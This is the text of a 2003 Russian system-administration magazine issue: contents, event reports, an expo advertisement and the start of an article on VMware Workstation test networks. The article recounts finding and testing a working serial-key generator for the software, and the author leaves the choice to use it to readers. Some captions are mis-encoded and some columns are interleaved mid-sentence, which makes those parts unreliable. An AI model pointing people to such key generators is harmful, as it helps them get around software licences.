010 Системный Администратор 09 2003

Page 1

№9(10) сентябрь 2003 подписной индекс 81655 журнал для cистемных администраторов, вебмастеров и программистов

Маленький Linux в качестве firewall Работа с жестким диском на программном уровне Виртуальный полигон для администратора и разработчика Искажение ТОС как средство борьбы с несанкционированным копированием диска

№9(10) сентябрь 2003

Рецепты правильного трудоустройства Построение переносимого Shell-кода для Windows-систем



оглавление РЕПОРТАЖ

2, 4 БЕЗОПАСНОСТЬ Очередная веская причина задуматься о переходе с ОС Windows на альтернативу

АДМИНИСТРИРОВАНИЕ Виртуальный полигон для администратора и разработчика Используйте технические возможности VMWare на все 100%. Андрей Бешков tigrisha@sysadmins.ru

Список червей в Сети дополнен еще одним – W32.Blaster. Анализ червя и «лекарство» от него. Виктор Игнатьев n4vy@nm.ru 62

8

Маленький Linux в качестве firewall Обзор дистрибутивов, позволяющих настроить совместный доступ в Интернет и имеющих среди дополнительных возможностей firewall, NAT, кеширующий DNS-сервер, DHCP-сервер, ftp- и www-сервера, а в более продвинутых решениях даже VPN. Сергей Яремчук 24 grinder@ua.fm

Искажение TOC как средство борьбы с несанкционированным копированием диска Крис Касперски kk@sendmail.ru

Станислав Гошко bigafroelephaut@mail.ru

66

Атака на переполнение буфера через неисполнимый стек в Windows NT/2000/XP Станислав Гошко bigafroelephaut@mail.ru

70

ПРОГРАММИРОВАНИЕ 34 Работа с базами данных на Perl

Загрузка по сети Описывается загрузка (не путать с установкой!) операционной системы Linux по сети. Денис Колисниченко dhsilabs@mail.ru 46

Postfix+...+SpamAssassin Mini-howto Бороться с нежелательной почтой можно по-разному. Эта статья расскажет, как прикрутить фильтр SpamAssassin к MTA Postfix. Андрей Мозговой 50 brain@m9.ru

HARDWARE Работа с жестким диском на программном уровне Как осуществить доступ к IDE-диску на программном уровне при помощи файла устройства и через порты ATA-контроллера. Владимир Мешков 54 ubob@mail.ru

№9(10), сентябрь 2003

Построение переносимого Shell-кода для Windows-систем

Владислав Гошко synthetic@inbox.ru

74

ОБРАЗОВАНИЕ Скупой платит дважды, а умный использует GNU Public License Сравнение позиций и комментарии существенных моментов двух лицензий: GNU Public License и Microsoft. Павел Закляков amdk7@mail.ru 80

IMHO Рецепты правильного трудоустройства Подойдите к поиску своего призвания творчески и не бойтесь экспериментировать! Крис Касперски kk@sendmail.ru

BUGTRAQ

88

45, 65, 69, 78

1


репортаж SYSM.01 12 июля состоялся первый Семинар системных администраторов и инженеров, организованный порталом SysAdmins.ru и приуроченный ко второй годовщине сего проекта. Собралось более 130 специалистов из Москвы, Санкт-Петербурга, Ростова-на-Дону, Екатеринбурга, Казани. Большинство из них – профессиональные и начинающие системные администраторы, а также IT-специалисты, «выросшие» из сисадминов – руководители IT-подразделений и служб технической поддержки, IT-аналитики, системные инженеры . Как и было обещано организаторами, семинар состоялся в действительно уютном и спокойном месте, которое оказалось удобным и для размещения иногородних участников. Удалось все: успешно подобраны темы выступлений, докладчикам пришлось отвечать на многочисленные вопросы, обсуждение не прекращалось и в перерывах между выступлениями. В кулуарах происходили не менее интересные дискуссии, споры, обмен информацией и опытом, завязывались деловые контакты, не обошлось и без сисадминских историй и баек. После всех выступлений состоялось награждение памятными дипломами участников по трем номинациям: лучшим модератором форума SysAdmins.ru безоговорочно был признан Андрей Бешков (aka Tigrisha), лучшим ньюсмейкером – Дмитрий Репин (aka стариk), а самым актив-

Äèïëîìû ïî 3-ì íîìèíàöèÿì

ным участником форума оказался Руслан Иванов (aka Rend). Атмосфера была потрясающая, общение – эффективным и плодотворным. По словам одного из организаторов, Алексея Липовцева, мероприятие удалось на все 100%, и следующий SYSM, который состоится в декабре 2003 года, обещает быть еще более интересным и масштабным. Темы и материалы выступлений вы можете найти на http://sysadmins.ru Наталья Хвостова Фото Алексея Фомина

Æàðêèå äèñêóññèè â ïåðåðûâàõ

2


репортаж

Âûñòóïëåíèå Àíäðåÿ Áåøêîâà

SYSM.01 çàâåðø¸í. Óäà÷íî

№9(10), сентябрь 2003

3


репортаж Linux_fest-5.0 В последние выходные июля прошел «пятый фестиваль разработчиков и пользователей свободного ПО «Линукс Фест». Несмотря на столь официальное название, фестиваль больше всего напоминал КСП-шный слет, на котором вместо песен говорили о дистрибутивах, хотя песен вечером под гитару также хватало (ну и туристы ведь тоже о компьютерах болтают). Как вы уже поняли, фестиваль был в лесу, на берегу замечательной речки Протвы, текущей на границе Калужской и Московской областей. Столь неформальная форма проведения фестиваля была выбрана не случайно: на берегу речки или около костра стирается разница между «зубрами» и новичками, можно спокойно поговорить, да и вообще – это фестиваль, а на фестивале должно быть весело! ALT Linux – ýòèì âñ¸ ñêàçàíî

объяснял находящимся вокруг особенности компиляции и настройки системы. Надо сказать, что в +30°C такое местоположение лектора и аудитории весьма осмысленно. Но больше всего мне запомнилась ночь: весь лес был освещен свечками, ими же была выложена лестница к воде, свечки стояли на берегу и в листьях кувшинок, а некоторые, смытые течением, плыли по реке. В ночи эта светящаяся лестница и река с уплывающими в туман свечами производила великолепное впечатление! В общем, все участники хорошо отдохнули, пообщались с интересными людьми и узнали что-то новое. Эх, кабы не работа, остался бы там еще на денек!

Íåîôèöèàëüíûé ñèìâîë ôåñòèâàëÿ

Константин Меделян Фото Валентины Ванеевы

Для увеселения были придуманы конкурсы – «сизифов труд» (надо вкатить в гору здоровенную колоду, а потом спустить вниз, на время), «перетягивание к хабу» (а поскольку сисадмин должен протянуть сеть в любых условиях, то перетягивали в воде), и многие другие. Призами в конкурсах были полные подшивки нашего журнала, майки от ALT Linux, а за некоторые конкурсы – дистрибутивы (команда, перетянувшая каоксиальный провод на свой берег, получила дистрибутив «Утеса» – самой последней защищенной серверной версии от ALT Linux). Кроме развлечений, разумеется, были и серьезные семинары, хотя порой и облечённые в несерьезную форму: так, один семинар проходил в воде! Разработчик некого ПО сидя в речке,

Îðãêîìèòåò è âñå, âñå, âñå

4

Íî÷ü. Òåìíàÿ ðåêà


репортаж

Ðåêà Ïðîòâà

«Ìîêðûé ñåìèíàð»

№9(10), сентябрь 2003

5


Уважаемые господа! Компания «ITE LLC» (Москва), при содействии ITE Group Plc (Великобритания) предлагает Вашему вниманию

НЕДЕЛЮ ИНФОРМАЦИОННЫХ ТЕХНОЛОГИЙ «IT-WEEK 2004» Москва, Экспоцентр на Красной Пресне 26 – 29 апреля 2004 года Неделя Информационных Технологий «IT-Week 2004» это: Крупнейший в России и странах СНГ форум в отрасли Информационных Технологий Пять международных IT-выставок, проводимых в одно время и в одном месте Две международные конференции Более 250 компаний-участников из 25 стран мира Свыше 75 000 посетителей из более чем 500 городов России и СНГ 35 000 специалистов IT-индустрии в деловой части выставки Официальная поддержка Министерства РФ по связи и информатизации, Министерства промышленности, науки и технологий РФ, Министерства экономического развития и торговли РФ, Министерства образования РФ, а также Правительства Москвы В рамках «IT-Week 2004» пройдут следующие выставки и конференции: 1. Personal Computing Expo – общая, неспециализированная выставка, ориентированная на конечных пользователей. В ней представлены производители и дистрибьюторы персональных компьютеров и периферии, компьютерных игр, дистрибьюторы сотовой техники и портативных компьютеров, интернет- и контентпровайдеры и многие другие. 2. Hardware & Peripherals Expo – специализированная выставка, на которой представлены: компьютеры, мониторы, периферийные устройства, комплектующие, накопители, коммуникационное оборудование и услуги, т.е. весь спектр hardware, ориентированного на ведение бизнеса. 3. Software Expo – специализированная выставка, ориентированная на программные продукты для систем бухгалтерского и складского учета, комплексного ПО управления предприятием, систем управления документооборотом, систем распознавания документов, разработку ПО, защиту информации. В рамках этой выставки будет подготовлен цикл тематических семинаров, посвященных актуальным вопросам в области разработки экономических программ и систем управления бизнесом.

6

4. Специализированная выставка CAD/CAM/CAE представляет системы автоматизированного проектирования. Для большинства российских производителей необходимость использования САПР для оптимизации работы предприятия стала очевидной. Особенно ярко это проявляется в таких отраслях, как авиастроение, автомобилестроение, тяжелое машиностроение, архитектура, строительство, нефтегазовая промышленность. 5. eLearn Expo – специализированная выставка, на которой будут демонстрироваться новейшие продукты и технологии в сфере электронного обучения, предназначенные для коллективного и индивидуального пользования. Дистанционное обучение через сети Internet и Intranet, получившее широкое распространение в развитых странах, становится все более актуальным и для России. 6. eBusiness Russia (Электронный бизнес в России) – международная конференции, посвященная вопросам автоматизации бизнес-процессов, развития электронной коммерции, подбора ИТ-персонала. 7. Международная конференция eLearning Russia (Информационные технологии в образовании), на которой будут освещены последние достижения образовательных технологий в школах, вузах, а также рассмотрены вопросы дистанционного и бизнес-образования. Рекламная кампания по привлечению посетителей на IT-Week основана на многолетнем опыте проведения выставок, тщательном анализе данных маркетинговых исследований и четком выделении целевой аудитории. Посещение специализированных выставок Hardware & Peripherals Expo, Software Expo, CAD/CAM/CAE, eLearn Expo, составляющих деловую часть Недели Информационных Технологий, возможно только для корпоративных бизнес-посетителей, прошедших регистрацию. Это позволяет качественно изменить состав посетителей этой части и дает возможность участникам в деловой обстановке представить свою продукцию и услуги заинтересованным специалистам и партнерам по бизнесу. Практически полностью аудитория деловой части IT-Week представлена менеджерами высшего и среднего звена, техническими специалистами и системными администраторами. Тел.: +7 (095) 935 7350, 935 8120 eMail: it-week@ite-expo.ru



администрирование

ВИРТУАЛЬНЫЙ ПОЛИГОН ДЛЯ АДМИНИСТРАТОРА И РАЗРАБОТЧИКА

Сегодня мы поговорим о VMWare Workstation – самом младшем из продуктов в линейке виртуальных машин фирмы VMWare. Если расположить их в порядке убывания стоимости и сложности внутреннего устройства, то получится такая цепочка VMWare GSX Server, VMWare ESX Server, VMWare Workstation. Сначала идут решения промышленного класса GSX Server и ESX Server. В контексте сегодняшней темы говорить о них мы не будем, иначе статья займет слишком много места.

АНДРЕЙ БЕШКОВ 8


администрирование Лично меня – а по прочтении этой статьи, возможно, и вас – будет больше всего интересовать VMWare Workstation, как наиболее близкая по предоставляемым возможностям к нуждам большинства пользователей. В последнее время я все чаще и чаще сталкиваюсь со статьями о технологиях виртуальных машин, построенных на основе VMWare Workstation. Странно, но большинство авторов словно зациклились на описании того, как с помощью виртуальной машины запустить Windows и его родные приложения под Linux. Судя по количеству опубликованных статей и популярности у сетевого сообщества такого рода развлечений, мне кажется, что, несмотря на ежегодные уверенные заявления линуксоидов о превосходстве их любимой операционной системы над Windows, пингвин еще недостаточно созрел, чтобы занять место Windows в качестве настольной операционной системы для повседневного пользования. Иначе откуда у рядового пользователя Linux такая нездоровая тяга к проприетарному программному обеспечению? Налицо положение, интересное своей парадоксальностью, – люди, работающие на свободно распространяемой системе, используют виртуальную машину стоимостью в 300$ только для того, чтобы запускать внутри нее Windows и набор сопутствующих утилит и программ. Самое веселое в этой ситуации то, что за весь список программного обеспечения от Майкрософт и прочих производителей, выполняющегося внутри этой самой машины, все равно нужно платить лицензионные отчисления, если не хочешь иметь проблем с законом. Такой способ работы, по моему личному мнению, похож на разбивание орехов золотым микроскопом внушительных размеров. Результат, ради которого затевались все эти танцы вокруг кактуса, вроде бы достигнут, но возможности VMWare Workstation используются от силы на 10 процентов, да и по деньгам уж очень накладно получается. Особенно если учесть то обстоятельство, что существуют другие способы запустить Windows-программы под Linux. Решить большинство из вышеописанных проблем, возникающих при попытке запуска чужеродного программного обеспечения, можно с помощью Wine, Win4Lin, Crossover Office, bochs. Перед тем как пуститься в обсуждение всего разнообразия полезных применений этого продукта, разберемся с некоторыми наиболее важными базовыми терминами, которые будут часто использоваться в дальнейшем на протяжении всей статьи. Операционная система, под управлением которой работает программа VMWare Workstation, называется «основной» системой. В качестве основной операционной системы пока можно использовать только Linux и Windows. К сожалению, 4-я VMWare Workstation еще не портирована для FreeBSD. Поэтому поклонникам этой операционной системы придется довольствоваться несколько устаревшей 3-й версией. Давайте посмотрим, какие дистрибутивы Linux официально поддерживаются и могут выступать в роли основной системы: Mandrake Linux 8.2, 9.0 Red Hat Advanced Server 2.1 Red Hat Linux 7.0, 7.1, 7.2, 7.3, 8.0

№9(10), сентябрь 2003

SuSe Linux Enterprise Server 7,8 SuSe Linux 7.3, 8.0, 8.1 Официально поддерживаемыми называются те виды Linux, для которых разработчики VMWare Workstation создали бинарные файлы модулей, загружаемых в ядро. Пользователи всех остальных версий Linux должны компилировать такие модули из исходных текстов самостоятельно. Несмотря на то, что нашего ALT Linux Master 2.2 в этом списке нет, мы все же настроим и запустим VMWare Workstation под его управлением. Разобравшись с Linux, обратим свой взор на Windows. Ниже привожу список операционных систем Windows, рекомендованных к использованию в роли основной: Windows Server 2003 Web Edition RC2, Standard Edition RC2 , Enterprise Edition RC2 Windows XP Professional, Home Edition Windows 2000 Professional, Server, Advanced Server Windows NT Workstation 4.0, Server 4.0, Terminal Server Edition 4.0 – все с сервиспаком 6 Теперь перейдем ко второму виду систем. Системы, запущенные внутри контейнера виртуальной машины VMWare Workstation, называются «гостевыми». На данный момент можно запускать следующие системы: Windows Server 2003 Web Edition RC2, Standard Edition RC2, Enterprise Edition RC2 Windows 2000 Professional, Server, Advanced Server Windows XP Professional, Home Edition Windows NT Workstation 4.0, Server 4.0, Terminal Server Edition 4.0 Windows 3.1, 3.11, 95, 98, 98 SE, ME Red Hat Linux 7.0, 7.1, 7.2, 7.3, 8.0 Linux Mandrake 8.2, 9.0 SuSe Linux 7.3 SuSe Linux Enterprise Server 7.0, 8.0, 8.1 Turbolinux Server 7.0, 8.0 Turbolinux Workstation 8.0 Microsoft MS-DOS 6.x FreeBSD 4.0-4.6.2, 4.8 Novell Netware 5.1, 6 Количество официальных основных и гостевых систем постоянно расширяется, поэтому, если вы не нашли в нем свою систему, не огорчайтесь. Имеет смысл посмотреть самую последнюю версию спиcка по адресу http://vmware.com/support/. Если же и в нем нет вашей системы, не отчаивайтесь. Возможно, что нужная вам система нормально работает внутри виртуальной машины, но персонал фирмы VMWare, ответственный за тестирование новых систем, просто не пробовал устанавливать и запускать ее. К примеру, несмотря на то, что NetBSD, ASP Linux, Black Cat Linux и OpenBSD отсутствуют в приведенном выше списке, все они отлично работали внутри моих тестовых виртуальных машин. Как ни странно, но, приложив некоторое количество усилий и проведя некоторые нестандартные манипуляции, мне удалось более или менее сносно запустить внутри контейнера даже такую экзотику, как QNX. Хотя она и за-

9


администрирование работала, но из-за специфических методик тестирования оборудования, используемых на этапе начальной загрузки, ожидание ее длилось почти 15 минут. В процессе тестирования обнаружилось, что временами эта гостевая система по непонятным причинам впадает в глубокую задумчивость на срок от двух до пяти минут. Во всем остальном она работала довольно стабильно. Отсюда делаем вывод, что система виртуальных машин имеет большой запас прочности и работает гораздо лучше, чем думают ее создатели. Авторы VMWare Workstation не запрещают вам работать с их продуктом любым пришедшим в голову способом, но все же справедливо считают, что использовать его лучше всего для наиболее интересных и нетривиальных задач. Давайте подробнее обсудим это странное несовпадение взглядов на одну и ту же программу. Человеку, правильно понимающему, как разумно использовать технологию виртуальных машин по прямому назначению, продукт, являющийся предметом обсуждения этой статьи, в первую очередь может принести пользу с помощью существенного ускорения процесса разработки программного обеспечения. Представьте себе ситуацию, часто складывающуюся в процессе разработки программы сразу для нескольких операционных систем. На первый взгляд все довольно легко. Пишем переносимый код и с помощью кроссплатформенного компилятора создаем бинарные файлы для каждой операционной системы. Затем записываем их на сменный носитель или раздел диска, доступный всем операционным системам, установленным на машине. Тестируем работу программы под текущей операционной системой. Завершаем работу с этой операционкой и перегружаем компьютер. Загрузив следующую операционную систему, принимаемся за тестирование образца, предназначенного для нее. И так до тех пор, пока не проверим все варианты. Хорошо, если все версии бинарных файлов работают как нужно с первого раза. Но в жизни подобное счастье приключается весьма редко. Таким образом, большая часть рабочего времени будет потрачена на постоянные перезагрузки из одной системы в другую. Если же мы пользуемся VMWare Workstation, жизнь становится гораздо проще. Под управлением основной системы одновременно запущены сразу все нужные нам операционные системы. Каждая из них сидит в своем контейнере и терпеливо ожидает нашего внимания, пребывая в полной уверенности, что на этом компьютере выполняется только она. Теперь процесс тестирования проходит на порядок быстрее. Нужно только переключаться между операционными системами и проверять работоспособность своей программы. Другим полезным применением виртуальной машины может стать необходимость исследования нового, неизвестного и даже потенциально опасного программного обеспечения. Кроме прочих кроссплатформенных удобств, это дает возможность безопасно изучать компьютерные вирусы и вредоносные программы. Внутри тестового контейнера легко создать нужную среду. Изолированность виртуальной машины от основной операционной системы дает возможность не бояться дальнейшего распространения вируса или срабатывания вредоносных механизмов иссле-

10

дуемого программного обеспечения. После того как эксперименты закончены, не составляет труда вернуть контейнер, а соответственно и систему внутри него, в то состояние, в котором они были до того, как мы начали наши исследования. А при наличии желания и страсти к разрушению, можно вообще с легкостью уничтожить содержимое контейнера вместе со всеми опасными объектами, получившимися в результате тестов. Следующей нишей, в которой возможно успешное использование описываемой технологии, является обучение работе с теми или иными программными комплексами. Создав одну виртуальную машину с нужным набором программного обеспечения, в течение нескольких минут можно растиражировать ее на все машины компьютерного класса. Ничего страшного не произойдет, если обучаемый в процессе освоения преподаваемых технологий умышленно или нечаянно разрушит подопытную среду. Для восстановления поврежденной виртуальной машины из резервной копии понадобится всего несколько минут. Подумайте, насколько удобно будет проводить рекламные презентации внутри виртуальной машины. Можно выбрать любую из целевых операционных систем. Но вместо демонстрации слайдов появляется потрясающая возможность в режиме реального времени активно проводить демонстрацию методов работы, разнообразных удобств, конкурентных преимуществ и прочих интересных свойств рекламируемого продукта. Также перспективным является применение виртуальных машин в службах технической поддержки. Только представьте себе возможность в течение короткого промежутка времени построить среду, полностью повторяющую конфигурацию пользовательской машины. Благодаря такому подходу, поиск проблемы и ее устранение ускоряются в несколько раз. В процессе разработки стратегии миграции с одной операционной системы на другую может возникнуть необходимость проверить, как будет работать ваше специфическое или самописное программное обеспечение в новом окружении. Все вышеперечисленные возможности выглядят очень даже привлекательно, но все же статья не столько о них, сколько об опыте комбинирования всего потенциала способностей VMWare Workstation. Давайте разберемся, как сполна воспользоваться техническим могуществом, предоставляемым VMWare Workstation. В связи со спецификой профессии, мне, как и многим другим администраторам, приходится постоянно разрабатывать способы интеграции между собой разных служб и приложений. Иногда для проверки того или иного решения нужна всего лишь одна машина. А что прикажете делать, если нужно имитировать работу одной или нескольких связанных между собой локальных сетей? В данном случае у нас есть два варианта действий. Первый – по старинке взять завалявшийся на складе коммутатор и из старых машин собрать маленькую сеть. Проблема в том, что старого железа, как всегда, не хватает. Вдобавок у такого решения есть еще один недостаток, состоящий в том, что всю эту путаницу из проводов и компьютеров нужно где-то расположить, но не у каждого


администрирование администратора на рабочем столе есть несколько квадратных метров свободного места. У такого решения есть еще одна неочевидная на первый взгляд загвоздка. Никто не может гарантировать, что подержанное железо будет стабильно работать, как положено. Попав в такую ловушку, можно потерять довольно много времени в попытках выяснить, почему та или иная подопытная операционная система категорически отказывается устанавливаться на выбранные компьютеры. Второй вариант гораздо проще, удобнее. А самое главное – гораздо более продвинут с технической точки зрения. Все, что нам понадобится, – это компьютер средней мощности. Все наши тестовые сети и компьютеры, находящиеся внутри них, мы создадим, используя средства комплекса виртуальных машин VMWare Workstation. В данной статье будет подробно описана последовательность действий, необходимых для инсталляции VMWare Workstation на Windows 2000 Professional. Затем мы рассмотрим создание макета сетей, изображенного на следующем рисунке. Как сделать то же самое для ALT Linux Master 2.2, будет описано во второй части этой статьи. В сетях Vmnet2 и Vmnet3 находятся машины, работающие под управлением операционных систем Windows 98SE и Windows 2000. Машина Windows 98SE имеет статический адрес 192.168.120.15, а Windows 2000 получает адрес 192.168.80.128 динамически с помощью DHCP. Сеть Vmnet1

№9(10), сентябрь 2003

служит у нас демилитаризованной зоной (DMZ). Внутри нее обитает машина со статическим адресом 192.168.40.32 под управлением Linux Mandrake 9.0, на которой для демонстрации работы сетевых служб будет установлен веб-сервер Apache со статическим адресом. Между собой три сети, перечисленные выше, соединены с помощью шлюза, работающего на основе FreeBSD 4.7 с тремя сетевыми интерфейсами. Я надеюсь, всем понятно, что для более простого функционирования наших сетей все три интерфейса машины FreeBSD тоже должны иметь фиксированные адреса. Ну и в роли нашего последнего пациента выступает машина NetBSD с двумя интерфейсами. Первый из них с адресом 192.168.40.57 смотрит в демилитаризованную зону, а второй является шлюзом в Интернет. На втором интерфейсе 192.168.32.128 работает механизм преобразования сетевых адресов (NAT), это, в свою очередь, дает возможность предоставить доступ к веб-серверу клиентам, находящимся в Интернете. Частично благодаря этому машины, находящиеся в наших локальных сетях, могут легко пользоваться услугами не только Linux веб-сервера, но любого другого веб-сервера, расположившегося в любой точке Интернета. Таким образом, у нас получается рабочий макет стандартной схемы локальной сети масштаба предприятия, подключенной к Интернету. Для простоты понимания учебного примера проведена миниатюризация, заключающаяся в том, что в каждую сеть помещен только один компь-

11


администрирование ютер. Я думаю, этого будет достаточно для демонстрации обсуждаемых концепций. Если верить утверждениям разработчиков, то для того, чтобы сносно работать с VMWare Workstation, нам потребуется компьютер со следующими характеристиками. Скорость процессора минимум 266 MHz, но все же рекомендуется не ниже 400 MHz. Стоит обратить внимание на тот факт, что поддержка мультипроцессорных систем выполнена очень качественно. К примеру, можно указать, на каком из нескольких процессоров будет выполняться та или иная гостевая система. Количество необходимой памяти рассчитываем по следующей формуле – память, необходимая для запуска основной системы, плюс память, требуемая для каждой гостевой системы. Минимумом принято считать 128 Мб, но лучше иметь 256 Мб. Впрочем, как я убедился на собственном опыте, оперативной памяти никогда не бывает слишком много. Видеоадаптер основной операционной системы должен поддерживать режимы с количеством цветов более чем 256. Пространство жесткого диска, необходимое для инсталляции, рассчитывается так же, как и размер оперативной памяти. В зависимости от основной операционной системы, для инсталляции пакета VMWare Workstation нам потребуется иметь 100 Мб свободного пространства на жестком диске для Windows и соответственно 20 Мб для Linux. Считается хорошим тоном отдавать гостевым системам столько же места, сколько нужно для установки каждой из них и всего сопутствующего программного

12

обеспечения на обычный компьютер. В то же время рекомендуется выделять не менее 1 Гб пространства на жестком диске для любой гостевой операционной системы. Итак, давайте разберемся с теорией функционирования VMWare Workstation. Внутри реальной машины на основе процессора X86 работает основная операционная система. Под ее управлением выполняются приложения, родные для этой системы. Несмотря на тот факт, что VMWare Workstation также является родным для основной системы приложением, между ним и системой находится тонкая прослойка, называемая «слоем виртуализации» и позволяющая виртуализировать работу с оборудованием, установленным на реальной машине. Это нужно для того, чтобы позволить единообразно и прозрачно работать с подобным оборудованием из каждой гостевой системы. Следующая задача, которая решается введением такого промежуточного слоя, – это предоставление всем системам одновременного доступа к оборудованию реальной системы. В свою очередь внутри приложения VMWare Workstation находятся контейнеры виртуальных машин. Каждая из них получает в свое распоряжение следующий набор виртуальных устройств: Процессор – такой же частоты, как установленный в настоящей машине. На многопроцессорном компьютере каждая машина получает доступ только к одному из доступных процессоров. BIOS – PhoenixBIOS версии 4.0 со встроенной поддержкой VESA и ACPI.


администрирование Материнская плата на основе чипсета Intel 440BX с под- ми для разных платформ. Интересно то, что запрашидержкой 82093 AA IOAPIC и NS3380 SIO.

вать пробные номера можно неограниченное количество

реальной машине. Не может превышать предел в 1 Гб.

пользовать VMWare Workstation, не нарушая никаких законов, сколько угодно долго. Подобная лояльная политика персонала VMWare.inc вызывает искреннее уважение. Видимо, деньги – не самое важное для них. Как обычно, потакая собственному любопытству, я задался целью посмотреть, как обстоит дело с надежностью защиты, и пошел на ближайший поисковый сервер. Программа, генерирующая серийные номера для любой версии VMWare Workstation, была найдена всего за 15 минут. Протестировав работоспособность создаваемых ключей для Windows и Linux, могу сказать, что они отлично работают и дают доступ к полной функциональности виртуальной машины, снимая всяческие временные ограничения. Годы пользования свободными операционными системами не прошли для меня даром, поэтому я очень не люблю нарушать любые лицензионные соглашения. Опираясь на все вышесказанное, для себя лично принял решение не использовать добытые таким образом серийные номера. Думаю, что маленькие ежемесячные неудобства, связанные с заказом новых пробных лицензий, – терпимая плата за возможность работы с таким потрясающим инструментом без всяких проблем с представителями закона. Вы же можете поступать, как вам заблагорассудится. В качестве первого этапа работы выполним процедуру инсталляции VMWare Workstation для Windows. То, что нам предстоит сделать, просто, как мычание. Скачиваем отсюда: http://www.vmware.com/download/workstation.html файл vmware-workstation-4.0.0-4460. Желательно также взять фирменную документацию по теории функционирования виртуальных машин и справочник часто задаваемых вопросов о гостевых системах в формате pdf http://www.vmware.com/support/ws4/doc/. Качество и подробность изложения справочного материала выше всяких похвал. Запускаем инсталлятор на выполнение и несколько раз нажимаем кнопку Yes. Затем принимаем лицензионное соглашение.

Оперативная память – в зависимости от доступной на раз, но на разные почтовые ящики. Вот так можно ис SCSI – до 7 одновременно подключенных устройств.

Дает возможность создавать виртуальные жесткие диски размером до 256 Гб. Простой интерфейс работы со SCSI-устройствами позволяет легко подключать DVD-ROM, CD-ROM, ленточные накопители, сканеры и прочие SCSI-устройства. Два гибких диска формата 3.5 дюйма по 1.44 Мб. Три Ethernet-карты, совместимых с AMD PCnet-PCI II. Контроллер USB 1.1 UHCI с двумя портами. Позволяет работать с USB-сканерами, принтерами, цифровыми камерами, наладонными компьютерами, устройствами для чтения карт памяти. Четыре последовательных (COM) порта. Два параллельных (LPT) порта. Клавиатура с расширенной поддержкой 104 клавиш. Очень удобно для виртуальных машин, внутри которых работают гостевые Windows-системы. Ввод и вывод звука через Creative Labs Sound Blaster Audio PCI. К сожалению, MIDI и джойстик не поддерживаются.

На основе такого богатого выбора можно создавать любые, даже самые экзотичные, комбинации из вышеперечисленного оборудования. Следующей в нашем списке фигурирует гостевая операционная система, которая работает с созданным нами набором виртуальных устройств. На ее основе запускаются все приложения, предназначенные для работы с этой конкретной системой. Разобравшись с картинкой и принципами функционирования VMWare Workstation, приступим к практическим занятиям. ALT Linux Master 2.2 в качестве основной Linux-системы был выбран не случайно, так как отсутствует в списке официально поддерживаемых, а также за то, что вовремя оказался под рукой. Кроме всего прочего он довольно широко распространен среди русскоязычных пользователей. Процедура установки на любой из официальных Linux-дистрибутивов слишком проста, чтобы научить читателя чему-то полезному. Многие подводные камни пройдут мимо и не будут замечены до тех пор, пока не придется самостоятельно устанавливать VMWare Workstation для работы под управлением неофициального варианта Linux. Пользуясь моим опытом, читатель ценой малой крови сможет устанавливать VMWare Workstation на множество других разновидностей Linux. Освоив минимум теории, необходимой для успешной работы с VMWare Workstation, перейдем к активным действиям. На сайте производителя http://www.vmware.com/ download/workstation.html заказываем себе пробный серийный номер для Windows и Linux. Все подобные лицензии действуют в течение 30 дней с момента отправки заказа. Таким образом, мы получаем в свое распоряжение на целый месяц полнофункциональную версию программы. Через несколько минут в наш ящик электронной почты упадет два письма с серийными номера-

№9(10), сентябрь 2003

Определяем целевую папку, куда нужно устанавливать файлы VMWare Workstation.

13


администрирование После этого, следуя предупреждению, отключаем «Автозапуск» для устройства CD-ROM, потому что это может вызывать интересные эффекты в гостевых системах. Представьте себе одновременную попытку выполнить программу автозапуска с только что вставленного CD-ROM внутри основной Windows и всех работающих на данный момент версий гостевых Windows-систем. Ошибки, получившиеся в результате коллизий, вызванных борьбой за доступ к CD-ROM, будут весьма странными.

Отказываемся от поиска файлов, оставшихся от предыдущих версий VMWare Workstation, так как на этой машине она устанавливается впервые. Если бы у нас такие файлы имелись, можно было бы конвертировать их в новый формат и использовать со свежеустановленной версией.

Принимаем поздравления по факту завершения установки. И потихоньку, нажав кнопку «Finish», переходим к следующему этапу.

Вводим серийный номер для Windows, взятый из письма. В качестве имени пользователя и названия компании можно писать все, что придет в голову.

14

В соответствии с требованием программы инсталляции перезагружаем Windows. После загрузки в первый раз запускаем VMWare Workstation. Итак, можно себя поздравить: процедура установки успешно завершена. Настало время усвоить еще немного теории. Посмотрим, как работает и из каких компонентов состоит подсистема, отвечающая за работу с сетями внутри VMWare Workstation. Виртуальный коммутатор (virtual switch) является базовой конструкцией, на основе которой мы будем строить наши сети, и предназначен для тех же целей, что и обычный сетевой коммутатор, постоянно встречающийся нам в реальном мире. С его помощью можно соединять между собой все остальные сетевые объекты. Ответственность за автоматическое создание коммутаторов, по мере того как в них возникает надобность, возложена на VMWare Workstation, поэтому нам о них беспокоиться не нужно. Стоит помнить, что коммутаторов может быть не более девяти штук, а значит, и сетей создать на их основе можно точно такое же количество. Каждая сеть, созданная внутри виртуальной машины, получает стандартное имя VMnet и номер, указывающий, на основе какого коммутатора она работает. Таким образом, у нас возникает набор сетей с названиями от VMnet1 до VMnet9. Количество сетевых адаптеров, которые можно подключить к любому из вышеперечисленных коммутаторов, неограничено. Мост (bridge) – устройство, позволяющее прозрачно присоединить сетевой интерфейс любой виртуальной машины к локальной сети, в которой работает реальная машина. Виртуальный адаптер получает адрес из пространства реальной сети, а для передачи и приема пакетов используется реальный сетевой адаптер. Таким образом, всем машинам, находящимся в реальной сети, будет казаться, что у реального компьютера появился еще один сетевой интерфейс. Виртуальный сетевой адаптер хоста (host virtual adapter) создается для того, чтобы соединить гостевую и основную операционные системы. Для этой цели на реальной машине организуется частная сеть класса C. В терминологии VMWare Workstation подобные сети называются (host-only network). В такую сеть входит виртуальный адаптер основной системы. Виртуальный адаптер основной системы нужно создать вручную через интерфейс управления сетями. И только затем можно будет добавлять в целевую сеть адаптеры гостевых систем. Бояться утечки пакетов и проблем с безопасностью при использовании подобных сетевых адаптеров не стоит из-за того, что они не присоединены ни к одной из внешних реальных сетей. Устройство NAT (Network Address Translation device) – присоединяет виртуальный адаптер к существующему реальному. Но в отличие от случая, в котором используется мост, никаких новых интерфейсов в реальной сети не по-


